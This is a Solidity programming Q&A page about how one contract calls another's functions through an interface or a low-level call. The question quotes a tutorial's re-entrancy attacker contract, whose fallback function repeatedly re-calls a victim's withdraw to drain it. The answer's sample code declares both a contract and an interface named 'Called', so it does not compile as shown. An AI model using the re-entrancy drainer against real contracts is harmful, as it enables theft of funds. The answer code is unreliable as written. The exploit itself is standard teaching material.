Solidity – How to Create a Function That Calls Another Contract

contract-developmentsolidity

What is the minimum amount of information you need to know to call a contract from another contract?

In this re-entrancy tutorial we see the following source code to "attack" a contract.

pragma solidity ^0.4.8;

import './Victim.sol';

contract Attacker {
  Victim victim;

  function Attacker(address victimAddress) {
    victim = Victim(victimAddress);
  }

  function attack() {
    victim.withdraw();
  }

  // Fallback function which is called whenever Attacker receives ether
  function () payable {
    if (victim.balance >= msg.value) {
      victim.withdraw();
    }
  }
}

This Attacker contract is able to call the Victim contract with access to its source code. Is it possible to call another contract's functions if the ABI is known, but not the source code itself. Is that possible with Solidity and how?

Best Answer

Yes, it's possible.

contract Called{
    uint public myuint;

    function set(uint _var) {
        myuint = _var;
    }
}

interface Called{
    function set(uint);
    function get() view returns (uint);
}

contract Caller {

    Called public called_address;

    function set_address(address _addy) {
        called_address = Called(_addy);
    }

    function set(uint256 _var) {
        called_address.set(_var);
    } 

    function set_call(address _called, uint256 _var) {
        require(_called.call(bytes4(sha3("set(uint256)")), _var));
    }
}

You have two different ways of doing it as shown above.

Related Topic